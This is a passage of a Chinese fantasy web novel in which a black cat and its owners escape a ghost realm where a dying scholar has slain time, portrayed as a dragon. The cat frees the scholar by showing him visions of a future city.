夏双双跑回酒楼,多亏现在是点灯的时候,一团团朦胧的光在昏暗中浮起,照亮了前路。小萤点亮的那盏油灯就放在桌上,她拿起灯盏,快步往外走,看见旁边房间门开着,里面没人,她顺手把别人的油灯也拿出来。 酒楼里的人奇怪地看着她,视线如有实质地黏在她身上。油灯有火,并不能藏起来,夏双双身体绷紧,执灯穿过人群,走出客栈。 好在人人只是面无表情地望着她,却没有来拦。 终于来到街上, 她刚松一口气,目光落到手上, 愣了一下。 油灯灭了。 不小心走得太快, 把火苗弄灭了吗? 酒楼其他房间还点着灯,夏双双转身往回走,刚越过门槛,她就怔住。就在进入酒楼后,火苗又亮了起来。实验几次,在门槛进进出出,她终于确认一件事——只有在酒楼里,油灯才能亮。 她奇怪的举动引起其他人的注意,小萤放下抹布跑过来,好奇问:“狸大人的侍从,你在做什么?” 夏双双把她拉到一旁,问:“灯怎么拿到外面就会灭?” 小萤瞪大眼睛,好像她在说什么不合时宜的话。但想到摸过狸大人的肚子,她便诚实回答:“是这样的呀,这些灯是不能带到外面去的。狸侍从,你想要灯?你要干什么?” 夏双双皱眉,想了想,“这些灯是怎么来的,有什么办法带出去吗?”她压低声音,“狸大人说,要是告诉它这件事,就再给你揉揉肚子,不,揉多少次都行!” 女孩苍白的脸上瞬间就漫起兴奋的红晕。 “灯是巫女大人制出来的,只有她才能做灯,你想要一盏属于自己的灯,要去找巫女。” 于是夏双双来到了巫女的住所。 幸好她拥有记忆,还记得巫女住在哪里,在门口的女孩看着她,点了下头,把手里的灯递给她,示意她走进去。 她们的态度让她有些迷惑,难道巫女早知道自己会来? 果然,还没等她开口,黑暗中丢来一样东西,叮咚一声,砸在地上发出清脆响声。那金属物体就丢在她的脚边,她俯身捡起来,是一样是尖锥形、像剑一样的的金属器件。 “这是?” “制灯的工具。” 夏双双一怔,“这要怎么制灯?” 巫女:“你会知道的。”她沉默了一会,低声说:“你们在我这,不止制了一盏灯。” 夏双双:“是他们?” 她马上意识到发生什么事,问:“他们在哪里?” 巫女语焉不详,“快到四滴时了。” ———— 小咪被书生眼里的景象震撼到了。猫小小的脑袋里从来没见过这样的场面,太过震撼,就像一部不停的无声电影,它看见了很远的过去,在这片土地发生的一切。 洪荒的远古时代,一群穿兽皮的人围着火苗起舞,或者更远一些,在人类还未诞生在这片土地之上,闪电轰隆破开黑夜,一颗明亮的星星从天上坠落,海浪掀起百米高,无数巨大的生物轰然倒塌,一只像小耗子一样的东西从地xue里冒出头。 它也看见了未来,书生眼里的未来,百米摩天大楼平地而起,夜空里霓虹闪烁,汽车在飞驰,蓝天上银白的飞机划过。 小咪的脑子被无数画面填满,几乎要爆炸,它抬起爪爪,可以摸到恐龙的趾爪,把肉垫按在那比自己还大的脚趾上,而它轻摇的尾巴,就触碰到了几千万年后,打翻了室友桌上的汤勺。 有的时候它来到布满金黄砂砾的地方,在高耸的金字塔下,被人们喊作“巴斯泰托”的猫女神;有的时候它却出现在一条潮湿的街道上,被人惊恐地当成散播不祥的女巫。 小咪用力晃了晃头,抬起后爪使劲蹬几下脑袋,才从迷乱的时间里清醒过来。 “喵呜。” 它也看见了书生口里的龙,在亘古的时间中就存在着的龙,一切生灵匍匐在这片大地上,就像从它的身体爬过。小咪想起进入鬼域前,那个奇怪的梦境,它和铲屎官走在同一条路上,但他们看不见它,它也无法触碰到他们。 因为他们在不同的时间里。 那也不是一条长长的路,而是这条“龙”的身体。 当小咪踹几下脑袋,把自己蹬得清醒了一点时,四周已经陷入一片昏黑,它找不到书生的踪影,喵喵叫几声,刚抬起爪子想往前迈出一步,忽然感觉有什么东西扯着自己的肉垫。 小咪连忙把肉垫缩了回来。 一个女人坐在桌前,低低哭了几声,突然站到椅子上,把麻绳结成一个圈,将自己的脑袋放了进去。椅子落地,她的身体像晴天娃娃,在空中晃来晃去,舌头从嘴巴里掉了出来,拖得很长。 她瞪着眼睛,面无表情地看小咪。 小咪“喵呜”了一声,眼睛瞪得很圆,毫不害怕地与她对视。猫觉得她这样看是在挑衅猫,又觉得和不懂猫社交礼仪的人类没什么计较的必要。 对视很久,小咪忍不住眨了下眼,它扭动脑袋,寻找书生的位置,试探性伸出爪爪,往前面碰了下。 “喵?” 猫什么都没有碰到,它的前爪不见了。 断口整齐,没有一丝血流出来,小咪也没有感觉到痛,可它的左爪却凭空消失了。小咪歪了下头,想起刚刚伸出爪子时,被什么东西扯了一下。它把爪子缩回来,不敢再动了。 “喵——” “咪咪!” 一个人匆匆走过来,手里拿着一盏油灯。当光照在小猫漆黑的毛上,它消失的爪子慢慢长了回来。 “喵!”小咪欣喜地叫了一声,舔舔肉垫压惊。 “他呢?”夏双双脸色有点白,“走了吗?” “喵啊。”小咪把刚刚的发现和她说了。 夏双双身体微震,“那条龙不是烛龙,是时间?”她深吸一口气,快速理了下杂乱的思路,“黑暗中时间错乱,无数时间线存在同一个地点,以前上吊的女人才会踩在我的肩膀上。” 她摸摸肩膀,那儿传来冰冷的触感,“在混乱的时间里,无所谓死去,也无所谓活着,不知道多少鬼挤满了这片地方,所以那些走过夜路的人,不是吓疯,就是吓得精神崩溃自尽,只有书生,才洞悉事件的真相,看到这条名为时间的龙。” “喵!”小咪抬起爪爪,提醒人要小心,猫刚刚踏错一步,爪子就消失了。 夏双双点头,“很可能刚才你迈错一步,爪子去了别的时间里。烛光能稳定时间,至少在灯光照到的区域里,时间不会乱序,我们是暂时安全的。” “喵。” 夏双双伸出手,“咪咪,来我怀里。” 小咪跳到她身上,歪了歪头,发现她的发上多了几根银丝,在烛火照耀下有些刺眼。 “喵呜。” 夏双双手里那盏灯火光微弱,一团橘黄的光在黑暗里移动,无数恐怖诡谲的幻象从她们身侧飘过,哀嚎、鬼哭、野兽的吼叫,无数时间中的可怖景象叠加在一起,意志不坚定的人也许会马上被吓晕。 夏双双抱住小猫,慢慢往前走,边说:“四滴时后,我们要回到客栈睡觉,因为睡觉的时候,人是在不动的状态中的。只有这样,才能抵抗变化莫测的时间。” “喵呜。”小咪尾巴晃了晃,却好像碰到什么东西,低头想看,被一只手给托住下巴。 夏双双曲指,挠着它的下巴,把猫挠得眯起眼睛,呼噜呼噜地响。 “咪咪,但是,人怎么能杀死时间呢?” “喵?” “我本来以为他想要斩杀的是烛龙,烛龙虽然是神话里的生物,凡人不能想象的存在,可毕竟是有实体的生物。但时间……人在时间面前,就像一粒微小的尘埃。”夏双双叹口气,“怎么可能呢?” “喵呜。” 小猫脑袋里乱糟糟的,但它知道一件事,这片区域的异常,和书生屠龙举动有关。她们在一片高岗找到了书生。 城后有片乱葬岗,土坡上埋着不知多少坟墓,黑暗里传来破土声,似乎是不肯死去的亡魂从湿润的土里爬了出来。 书生的呼号声从风里飘了过来,声音模糊不清,听不懂他在大声喊什么。小咪跳到人的头上,“喵!” 在那边! 夏双双快步走过去,走了没两步,她皱紧眉,停了下来。手中油灯光线变得很微弱,火苗只有短短一小截,不知道什么时候,烛火只照亮了她的上半身,至于双脚的位置,陷入了黑暗里。 她弯下身体,把油灯往下放,光线里出现一只惨白的手。指甲里布满黑泥,僵硬的手背几块青紫色的尸斑触目惊心,很显然,这是只刚从坟里爬出来的“人”。 手紧紧攥住夏双双的脚腕,在光线照到后,他不情不愿地缩回黑暗中。 “喵呜。”小咪紧张地到处看,黑暗中不知道藏着多少死去的人,它看不见他们,却能感受到他们的目光,死死胶着在自己身上,盯着黑暗中唯一的、橘黄的火光。 “快熄灭了。”夏双双看着手里那截油灯,碗状灯盏里,只有浅浅的一层灯油,火苗也变得极其微弱。 小咪抬头,惊讶地发现,她的头发已经白了一大半,眼角也多了细细皱纹。 “还是不行,果然。”夏双双低头往下看。 小咪惊慌地叫了出来,在她的腹部,插着一根尖锥状的金属。 “喵呜——” 人,疼不疼? 人,有没有受伤? “没事的,不疼,”夏双双摸摸小猫的脑袋,“这是制灯的工具。” “喵?” “我也不太懂为什么,但在这里,人可以被做成灯。我好像明白了一点……这世界上本来就没有时间,时间是我们创造出来,认识它的工具,我们认识它,记录它,在无序疯狂中寻找有序与规律,就算它再强大莫测,在我们身上也只能按固定的顺序运行下去。” 她拿起铜锥,朝小咪笑了一下,“我们生在天地之间,就是一盏抵御它的灯。” 小咪扒拉着她的手,“喵呜。” 人有生老病死,猫也有生老病死,这条名为时间的龙从洪荒便存在,可以使沧海变成桑田,高山变成幽谷,它无所不能,生命对于它而言,渺小得像一粒尘埃。 但它不能让一个婴儿跨越孩童、成年、壮年,直接变成老人。它必须在生命上遵循某种规则,生命本身,便是用来稳定时间的“灯。” 那么,小猫也可以做一盏灯,一盏小猫灯。 夏双双朝它微笑,摸摸它的小脑袋,“从来没有让小猫牺牲的道理,咪咪,等会你拿着灯,去找到书生,把这个刺到他的胸口。他是诡异的源头,我想,也许杀了他后,一切就能恢复正常了。” 说完,她拿起尖锥,用力插进自己胸口,鲜血像流淌的火焰,滴进了灯盏里,火光大亮,她头上的发,一瞬变得雪白。 第120章 “喵!” 小咪大声叫起来, 扑了过去,想把插在她心口的尖锥拔出来。它扑了个空,尖锥掉入泥土里, 夏双双的身影瞬间被黑暗吞噬,消失不见,只剩下地上一件通红的外袍。 “喵呜。” 小猫低低叫着,声音像是在哭。 “嗷呜——” 它的声音变了形,喵呜声回荡在风里,围绕着灯转圈。 找不到,怎么都找不到,铲屎官突然消失不见,除了一盏灯,什么都没留给它。 小咪跑到地上的外套上,叼住她的衣服, 衣服上传来属于人的气息让它平静了一点。它让影子变成人的模样,从地上爬了起来。 少女捡起地上的灯, 拿起红外套, 披在自己肩头。油灯里装满了油, 火光明亮,照亮两三米的范围。 她举着灯,一路上,黑暗里再没有鬼冒出头。 小咪另一只手提着尖锥,快步往前走,越过一座座坟头。绿色的粼粼鬼火在黑暗中浮动,却不像它手里的油灯一样散发温暖的光芒。 他们已经死了,他们身上的时间也死了,所以不能制成灯。 小咪来到山顶,书生张开双臂,手舞足蹈,口里念着长长的诗文。狂风里他的长发在剧烈晃动,明明是年轻的脸,头发里却有无数的银丝。 “狸大人!”书生兴奋地喊,“你来啦!” “喵呜——” 小咪跑到他的脚边,趴在他发白的布鞋上。它抬起脸,对着书生喵喵叫几声。 就算书生心中有屠龙壮志,这时也不得不弯下腰,把小猫抱进怀里。 小咪用力蹭蹭他的下巴,两只爪爪抱住他的手臂,吸了几下人后,才想起夏双双的嘱托。 书生才是一切诡异的源头,猫要把尖锥插进他的胸口。 书生的手搭在了猫的头顶,他曲起手,指尖挠着小猫的脑袋。 小咪心想:猫要杀掉他。 小咪:“呼噜呼噜。” 猫气得咬住自己的尾巴。 影子拿起的尖锥,站在书生的对面,圆溜溜的眼睛打量着书生。她的动作轻盈灵巧,拥有影子能力后,力气更是比从前大了很多倍。而眼前的书生身形单薄,瘦骨嶙峋,病得好像只剩半条命了。 小咪想,她可以跳起来,很顺利地将尖锥推入他削瘦的胸口。 她举起尖锥,又放了下来,气馁地又咬住尾巴。 “喵呜。” 杀死书生真的能解开鬼域吗? 小咪把脑袋抵在他的肩头,思考着进来后经历的一切。尖锥与其说是制灯工具,不如说是榨出时间的工具,夏双双的时间被制成灯油,于是她便迷失在黑暗中。 也许她就在小咪的身边,但咪再也不能看见她,就像梦中一样,他们在时间两头。 小咪想到了失踪的人。 他们也和夏双双一样,迷失在了时间里吗?他们也把自己制成灯,尝试在黑夜里穿行——而值得他们冒这么大风险的,只有眼前这个人。 这并不是第一次,他们正在经历一场循环。 小咪:“喵呜。” 这是第几次了? 书生低头看它,一张苍白的脸映着火光,“我也记不清了。” 小咪挣脱他的怀抱,跳了下来,守在夏双双化的灯前,烛火照得它漆黑的皮毛泛着金色。它仰起脑袋,用圆溜溜的金色眼睛凝视着书生,“其实你已经成功了喵。” 虽然说夏双双说这是不可能做的的事情。 虽然生命在时间的面前,渺小得就像一粒微不足道的尘埃。 但小咪还是相信,在过去的某个时刻,这个孱弱不堪的书生,真的杀死了一条名为时间的龙。于是出现了这座古怪的城池,在这里,时间停在了龙被杀死的那一刻,只会往后流,不会再往前走,他们才会经历时间的倒流。 这里永远陷入漆黑,并不是烛龙闭上眼睛,而是时间永远凝滞在了某一刻,并不会再往前了。太阳永远不会升起,月亮也再也不会出现,所有承载着时间的自然造物,都凭空消失不见。 这是一片时间已死之地。 小咪的毛被风吹得乱飞,它坐在自己的尾巴上。 书生听见猫说话,也不吃惊,慢慢坐下来,手摸着它顺滑柔软的长毛。 “呼噜——”小咪遏制自己打呼噜的冲动,问:“为什么要杀死它喵?” “不只有我一个人啊,”书生平静了一点,看着小猫的眼睛很平和,脸上病态的癫狂消退,眼却很亮,“以前有个皇帝,狸大人知道什么是皇帝吧?他坐拥一切,江山、财富、权势,是世界上最尊贵的人,可是有一样东西,他永远也无法得到。” “喵呜?” “他想要求长生,为此不由耗费国力,派人去海上寻访仙丹,寻找传说里的仙人。可是,他最后也只是变成了一副腐烂的骨头,还沾着鲍鱼的臭味。” 他哈哈笑了起来,笑了几声,又开始剧烈咳嗽,胸腔起伏,一簇簇火苗一样的血从他的嘴角里流了出来。 小咪想,他就像一盏灯,但油已经快耗尽了。 他捡起地上一捧土,张开手掌,掌心的土灰马上就被狂风吹散,“人生寄一世,奄忽若飙尘。狸大人,我也只是风里的一粒沙子,马上就要被吹散了,但是我还有许多事没来得及做,狸大人,我只是不想死啊。” 小猫瞪大圆圆的眼睛,在它的脑袋里,死亡是个太过遥远的话题。它随时在小猫身边发生,但猫没有像人一样认真思考过。 不知道为什么,它想起垃圾桶里身体僵硬的同类,想起失踪的铲屎官,和爷爷奶□□上的白发。 “喵呜。”它甩了下尾巴,焦躁地围着灯转了几圈,感觉到了焦虑。莫大而无言的慌张攥住它小小的心脏,它呜呜叫着,声音没入风里。 书生问:“狸大人没有这样的害怕吗?” 小咪认真想了想,学着像人一样摇头,“咪呜。” 小猫生下来只为一件事努力——活着。它在钢铁丛林里冒险,学会扒拉垃圾桶,到长成街区老大,抓肥大的耗子饱腹,它只有一岁半,来不及思考关于猫生的意义。 它只想把自己养得好好的,原始袋里装满脂肪储备,吃饱后瘫在棚顶晒太阳,现在咪的猫生目标里又多了一项——它想要保护自己柔弱不能自理的铲屎官们。 书生喃喃:“狸大人这样很幸福吧,但我却无法做到。我要日月不再,光阴凝滞,自然老者不死,少者不哭!不会再有死亡,也就不会再有尘世的痛苦。” “所以,”他渐渐攥紧了手掌,苍白的手背青色的筋清晰可见,“我要杀一条龙。” 小咪:“喵呜?” 怎么杀死它? “我有一把剑!”书生拿起一张纸,在火焰上燎过,火舌一下子蹿了起来,在他手里形成一条长龙,就好像他真的拿着一把剑,他用火剑指向天空,“你看,它来了。” 小咪顺着他所指的方向看过去。 一张张燃烧的纸张在风中飞旋,火焰相连。 “昼长苦夜短,何不秉烛游。” “生年不满百,常怀千岁忧。” “君不见高堂明镜悲白发,朝如青丝暮成雪。” …… 火光连成一条接天的长剑,几乎要将黑夜照亮。从古至今,人们对时间的爱与恨,对死亡的恐惧与不甘,浓烈的执念与情感化作了书生手里这把屠龙的火剑。他猛地抽出长剑,指向天空,“狸大人,我写了一篇檄文!” 小咪耳朵动了动,总算听清之前风中他狂乱不清的呼喊。 “飞光,飞光,劝尔一杯酒。 吾不识青天高,黄地厚。 唯见月寒日暖,来煎人寿。 ……” 他声音沙哑,声声沥血,念着讨伐时间的檄文。渺小如尘埃的生命,手里握着万古不灭的怅恨,在这无人知晓的黑夜,对着永恒的时间宣战。 “天东有若木,下置衔烛龙……” 手里长剑赤光大盛,流动的光照溅落小猫金色的眼睛里。 小咪握紧尖锥。 它知道,接下来书生便要开始屠龙了。从鬼域异象看,他成功杀死了这里的时间,把这儿变成不生不死、时光凝滞之地。 它应该阻止他。 “喵啊——” 明天会有使者来接你,把你接去白玉京。 它想起书生临死时说的话,对他大声说,说完就觉得不对,应该已经是今天了。 “白玉京?”他的动作迟缓了一下。一根尖锥划破黑夜,准确地插入他的胸口,又从他的胸前飞了出去。 小咪瞪大眼睛,书生的胸口分毫无损,连点血都没流出来。尖锥像刺在空气里一样,毫无阻碍地穿过了它。 不在同一个时间。 小咪意识到了这点,它和书生不在同一个时间。它看见的书生,只是屠龙一刻凝固的残影,他们之间隔着的不只是黑暗,还有无数乱流的时间。 它没有办法真正碰到他,也根本杀不死他。 “吾将斩龙足,嚼龙肉,使之朝不得回,夜不得伏。自然老者不死,少者不哭!” 他大声念着讨伐时间的檄文,奋力地往前一掷,所有的诗稿都被点亮了,无数重重叠叠的执念化作一道长剑,直直刺向了万古的黑暗。 “轰——” 什么东西被刺中了。 没有形体,没有颜色,没有声音,只有一种庞大到令人窒息的“流逝感”骤然凝滞。那感觉像是奔腾的江河瞬间冻结成冰,像是四季轮转戛然而止,像是日月从天空中坠落,生命从生到死的轨迹被硬生生掐断。 “喵。”小咪趴在油灯旁,那盏从夏双双身上流出的灯,还散发着微弱而温暖的火苗,成为黑暗中唯一的光明,照亮它小小的,盘起的身体。 火苗忽然颤了一下,越来越小,四周陷入一片死寂的黑。 黑暗抱住了小咪的身体,它的意识逐渐朦胧,越来越迷糊,只能咬住爪子让自己清醒。不能睡过去,睡过去再醒来,就会像上次一样,忘记所有事情了。 小咪跳到油灯旁,肉垫在地上拍了几下。 下一秒,它就失去了意识。 当猫再醒来时,窗外响起水滴一样温润而洪亮的声音。它用力晃了下脑袋,四条腿各走各的,歪歪扭扭地从床上爬了起来。 “喵呜?” 小咪转动脑袋,四处张望,这是件古色古香的房间,但只剩它一只猫了。 猫的铲屎官呢? “喵呜?”猫在房间里找了一圈,没有看见人的身影,它跑到床上,乖乖等人类回来,咬住床上的外套,认真地开始踩奶。 两只爪爪交替,踩着铲屎官的外套。它不记得发生什么事了,也没有人帮它理清现在的线索,小猫的脑袋里想,只要在乖乖在房间里等着,就能等到人回来了。 就像它等待室友下班回家一样。 这时,有什么东西从猫的面前爬过。 第 121 章【VIP】 第121章 一条像蛇一样的东西, 歪歪扭扭地在床上爬。 小咪歪了歪头,屁股扭动,属于猫科动物的狩猎基因一瞬间被唤醒。它弹跳起来, 扑到“蛇”的身上,咬住它的后劲,后爪使劲蹬它的身体。 咔嚓声在嘴里响起。 不是熟悉的, 猎物被它咬断颈椎,骨头断裂的声音。而是咬到硬物后,牙齿发出的声音。 小咪跳了起来,惊讶地瞪圆眼睛,用爪爪拨弄那条蛇。 它很快就察觉到了,这不是蛇,而是自己用第二条命在其中注入了生命力,让它变成了某件生物。它把能力从其中抽出, 很快就看见这件物体的本相。 是一个尖锥形的东西,肉垫碰上去冰冰凉凉的,不知道是什么金属制成。 它的肉垫触碰到尖锥, 感觉锥尖微微发烫, 低头往下看,一滴红色的东西在锥子上闪闪发光,滚烫的温度灼伤了它的爪子。 血?还是火? 小咪抬起爪爪,试探性地碰了碰那点红,一瞬间,火星像萤火一样飞了起来,在房间里散开。它跳起来,扑住了这些萤火,存在其中的记忆瞬间挤入它的脑袋里。 猫想起上一个循环发生的事情,也意识到自己的铲屎官迷失在黑暗里。在最后龙被杀死的瞬间,它察觉到不对劲,把能力注入尖锥里,希望赋予生命后,这件死物也能随猫一起进入循环。 幸好,猫成功了。 猫得赶快去做一些事情。 “喵呜!” 小咪咬住尖锥,往外面跑,正好小萤推开门,往这间房点灯。她拿着油灯,丝毫没看见一团黑煤球从脚边蹿了过去。 “狸大人呢?”小姑娘歪头打量。 小咪熟门熟路地来到了书生的门口。 “喵呜。”它翻过窗户,跳入屋内,跳的时候突然想起自己昨天见过这一幕。它跳到书生的胸口,把他压得吐出一口血。 小咪连忙从他身体跳下来,想了想,守在他的身边,拿爪子搭在书生苍白的手背上。 冰冷肌肤上紧贴着一只热乎乎的肉垫。 书生的眼皮轻轻动了下。 小猫的肉垫饱满、浑圆,散发着滚烫的热度。源源不断的生机从它的肉垫里流了出来,病榻上孱弱的人终于睁开了眼。 他躺在床上,气息微弱,头发散开,里面的白发竟然比小咪爷爷奶奶更多。 油尽灯枯。小咪突然想到以前学过的成语。 他看着床榻前端坐的小猫,露出一个虚弱的微笑。 小咪走到他的枕头边,低下头,用脑袋蹭了蹭他冰冷潮湿的脸颊。 将死之人面孔消瘦,嘴唇青紫,脸上笼着层死意。他看上去只有一口气了,这口气在嘴边,将吐不吐的,死亡把他往黑暗里拽,不甘却从喉咙里伸出一只手,紧拽住最后一点生息。 他想要张口,小咪一个肉垫拍在他的嘴巴上。 “喵!” 你先别说。 让猫先说。 小咪知道,如果时间正常流动,今天就是“屠龙”之后了。书生在今天说出的话,会使他们的过去形成定局。 猫决定不让他说出屠龙这个字,也不让他产生这种奇怪的想法。 它把自己热烘烘的爪子伸进书生的嘴里,堵住他的嘴巴,“喵呜?” 猫毛飘进书生嘴里,他喉咙发痒,艰难地捂住胸口,咳嗽两声。从滚热的小肉垫里传来了一股生机,让他脸色变得好了一点。 小咪:“喵啊。” 它思考着该怎么在不触发屠龙的因果前解决这一切,但想了又想,只好朝着书生喵喵叫。 书生微微翘起嘴角,在生命的最后时刻,他的床头来了只圆头圆脑的小黑猫。黑猫趴在他的脸侧,尖尖的双耳像相对的山峰,耳中一段柔和的弧线,让它像座猫猫山。 小猫对他喵喵叫着。 他却不知道猫猫想要什么。他艰难地抬起手,捏捏小猫的肉,果然很肥美。 这样肥美的小猫,会来他这破败家中,对着他这个将死之人祈食吗? 他浑浑噩噩地想,心中满腔的不甘怅恨,却不知什么时候消散了一些。他翻了个身,将脸埋在小猫柔软的毛中,深深吸了一口气。 “我却没有什么可以招待你的。” “喵呜。”小咪乖乖让他摸,“猫不用招待,猫可以给你抓耗子。” 地上的影子慢慢爬了起来,握住尖锥,她坐在床头,凝视书生孱弱的胸口,将手轻轻放在上面。 “喵?” 人,你很难受吗? 他身上流淌出的情绪,像阴沉潮湿的水雾,黏在了猫的皮毛上。 小猫用头蹭了蹭他的下巴,“喵呜。” 不要斩龙! 它斩钉截铁地说:人,不用斩龙,猫会救你。 它努力想了一下,“你想去白玉京,白玉京是个什么地方,喵子带你去。” 书生伸手,摸着它的小脑袋,斩龙的手,却显得惨白无力,肌肤冰冷潮湿。听见小猫喵喵的叫声,他忍不住笑了笑,“天上白玉京,咳咳,十二楼五城,仙人抚我顶,结发受长生。我从小刻苦读书,以为自己终能到白玉京……” 他的眼前出现了一片连绵的墙垣。 记忆的碎片似萤火从他的眼里飞了出来,于是小咪也看见了,他背着行囊意气风发地走入高耸宫墙,却又颓然地走了出来,壮志成灰,心已衰朽。 “那不是我的白玉京,咪咪,”他睁着黯淡的眼睛,“总有一个声音对我说,会有一个使者来接我,把我接去天上仙城,那儿灯火通明,鸾凤齐飞,天河夜转。我还在等他,等天帝使者接我去天宫。” 小咪一口咬住自己的尾巴,“喵呜!” 它哪里去找一个使者把他带到天宫,白玉京又是个什么地方? 时间一点点过去,窗外又响起一滴声,催促小猫快点行动。 不能再犹豫了。 小咪心想,它要解开书生的执念,或者……杀掉他。 小咪拿起尖锥,抵在书生胸口的位置,但转念它又想,就算现在猫杀死他,杀的也是“屠龙”这件事发生以后的他,现在改变不了前一天发生的事情,何况,上一次循环里,书生也已经死了。 如果想和上一次不一样,它要保住他的命。 于是它把肉垫贴在了书生的脸上,用第二条命维系他衰弱濒死的身体。 “咪咪,你从哪儿来的?” “喵呜——” 小咪趴在他的颈窝旁,蹭蹭他的脖子,“猫从很远的地方过来的。咪住的地方,比你记忆里的白玉京还要大、还要高,猫的地方不像这里黑暗,从天到晚都会亮着灯,天空是淡淡的红紫色。” 小咪喵喵咪咪叫了几声,认真和书生描绘自己记忆里的红竹市,说了几句后,它突然支棱起身体,金色的眼睛瞪得圆圆,专注地看着书生。 “喵?” 它来到尖锥前,想了想,把肉垫按在上面。一点红色从小咪的肉垫里飘了出来,它时间里藏着的回忆也像萤火一样,在黑暗的房间里回荡。 书生枯槁的身体震动,失神双眸紧紧地盯着这些闪光的景象。 高耸入云的“山”闪烁七彩光芒,山中竟有许多人在走动,是天宫里的仙人吗? 巨鸟划过蓝天,尾部拖出长长的云迹,是传说里的青鸟吗? 铁马风驰电掣,速度远超他想象的极限,是云中君乘的风马吗? 这……这就是白玉京? 传说中仙人居住的琼楼玉宇,云海仙山? 这里的景象比他无数深夜中想象的更加奇崛美丽,不可思议。他被震撼得说不出话来,连呼吸也忘记了,眼睛里倒映着五光十色的流彩,是千年后城市司空见惯的霓虹。 小咪专注地看着他面上的表情,忽然明白了一件事。书生执着想等待的天上使者,不是别人,而是咪自己。 它端坐好,肚子压住爪爪,问:“喵呜?” 这就是你期待的白玉京吗? “……它比我想象里的更加壮阔美丽,”他眼里闪动兴奋的光芒,低低咳嗽着,鲜血顺着惨白嘴角往下流,火舌一样,“原来咪咪,咳咳,就是来接我的使者吗?” 他伸出手,“带我去天上吧。” 小咪低头,认真伸出自己的小爪子,搭在书生宽厚的掌心,“喵呜。” 但是。 它说:白玉京并不在天上。 书生猛地睁大眼睛,“在何方?” “喵。” 在未来。 你所斩断的未来。 小咪:“喵啊——” 白玉京不是天宫,是未来,是喵子居住的地方,是人间司空见惯的景象。 “人间。”书生惨白嘴角微动,“未来的人间?” “喵呜。”它低头,蹭蹭书生的下巴,“咪带你去看!” 他露出恍惚的微笑,轻摸着小猫的头,慢慢闭上眼睛。 ———— 千年前的长夜。 一盏孤灯如豆,妇人坐在床前,掩面哭泣,床榻之上躺着的青年面若金纸,满头白发散在枕上。 他突然睁开眼睛,看着哭泣的妇人,惨白面孔露出个温和的微笑,“母亲,请不要为我哭了,一位天上的使者,要把我接去白玉京。原来白玉京在……” “我不想再屠龙了,也不再害怕死亡了,原来,希望也藏在时间里。你看,它来了。” 妇人抬眸,顺着他的目光看去,却只见霜天欲曙,一抹银光从天际漫开。 榻上形销骨立的青年嘴角微微上扬,一只小黑猫缩在他的颈窝里,脑袋轻轻蹭着他的下巴。 仙人抚我顶,结发受长生。 他微笑着闭上了眼睛。 ———— 小咪听见了一声鸡鸣。 它趴到窗台上,小脑袋往外面看,雄鸡一唱天下白,头顶终年晦暗无光的天空,渐渐染上朝阳的金色。一个高大的羽衣人从金色阳光里走了过来。 第 122 章【VIP】 第122章 “咪呜?” 小咪耳朵抖动, 瞪圆眼睛。 天将降白,金色的朝阳洒满天地,这座执念幻化的城市就像清晨的露水,在逐渐地消融。 有人朝小咪走过来。 它身形极高,似乎有五六米,身影巨大,身上穿着古代人的宽袍,头部不像人类,头顶尖尖。它挥了下宽大的袖子,丢出几盏灯,灯一落地,便化作人的模样,茫然地张望。 小咪:“喵!” 它惊喜地叫了出来,尾巴翘得很高, “喵呜——” “咪咪。”崔姜先跑过来,抱住小咪, “咪咪你怎么过来啦?” 苏乐紧随其后,夏双双下意识看自己胸口…… 她胸口的伤痕消失不见, 失去的时间也重新流回身体里。 事情解决了吗? 还没想明白,一团滚热的毛茸茸就跳入她的怀里。她下意识接住小猫,用脸蹭蹭小猫的下巴。 “喵呜。”小黑猫抬起肉垫,认真拍了拍她的脸,在夏双双身上嗅嗅,闻着铲屎官的身体状况。感觉她没有受伤后,它才松口气,不顾夏双双挽留,弹跳起来,蹿进另一个人的怀里。 “咪咪。”萧向秦环住它的肚子,宽大手掌裹住小猫的脑袋。他的脸上没有什么表情,只是用手裹住小猫头,重重揉了揉。 “喵!”小咪的脸都被他揉扁了。萧向秦手掌宽大,一只手就能把它的头包住,它忍了一下,也只忍了一下,就不惯着人了,牙齿轻轻在男人的虎口咬了下,“喵呜。” 人,请对咪尊重点! 谢临风:“哎呀我的妈,这鬼域也太阴险了。时间混乱也就算了,每一次屠龙后,我们还会丢失记忆,只能从头开始。” 夏双双点头,“咪咪,你杀了那个书生?” “咪?” 小咪摇晃尾巴,“咪!” 猫没有杀人,猫只是让他看见了未来,答应带他去所谓的白玉京。 暗夜在飞快消融,庆康大楼原本的模样露了出来。小咪跑回书生躺的地方,却只见一片雪白冰冷的瓷砖,砖上,放着一页染血的诗稿。 十来个陌生人躺在地上。 小咪歪头,觉得奇怪,他们头发花白,分明是老人了,穿的衣服却都很年轻。 “咳咳……”一阵虚弱的咳嗽声从暗处响起,苍白病弱,仿佛只剩一口气的青年滑动轮椅,出现在众人视线中。 “咔嚓。” 上膛声响起。 大家都执武器,对准了沉风渡,如临大敌。 只有小黑猫歪了歪脑袋,跑到前面,跳上他的膝盖。 “咪咪小心!”孙菱惊呼。 “喵呜。”小咪打了个大大的哈欠,趴在人的大腿上,任由头顶一只苍白冰冷的手揉着它的耳朵。 猫不懂暗潮涌动,也不太明白这时的状态。猫只是很高兴,又遇到一个健全的、对猫好过的铲屎官。 “喵呜。”它眯起眼睛,天然上扬的嘴角仿佛在微笑。 “咳咳——”猫毛让沉风渡双肩耸动 ,呼吸艰难,但他依旧倔强地摸着猫,“咳咳,他们用了名为时的污染物,现在鬼域解开,他们也被反噬,身上的时间被抽空了。” 孙菱攥紧拳头,身后的白虹贯日也抬起剑,“真是便宜了你们。” 一栋楼的员工都受到无妄之灾,就因为这群邪教徒乱丢污染物。 “恭喜,咳咳,你们赢了。” 小咪抬起眼睛,胡须微颤,“咪呜?” 为什么喵? 沉风渡揉着它的脑袋,气息虚弱,“我很早就是深渊的信徒,血月降临,为什么不好呢?” “咪呜——” 所有人都会死掉的,被月光照成一堆肉泥。 猫看见了。 沉风渡轻轻摇头,“咪咪,他们骗了你,死了后,我们会以另外一种形式存在,咳咳,你不是见过,影子吗?” “喵呜?” 他的手苍白如纸,薄如蝉翼的皮肤下,青筋清晰可见。他抬起一根手指,点了点空中的黑衣少女,“咪咪,你的影子像你一样可爱。你难道,永远只甘心做一只小猫吗?” 小黑猫歪头,圆溜溜的金色眼睛里露出一抹疑惑,“喵呜?” 猫就是猫! 但猫一点都不小,猫就算在猫界,也是一只油光水滑,身体健壮的大猫了。 “但我不甘心。”他望着虚空,双眸无神。 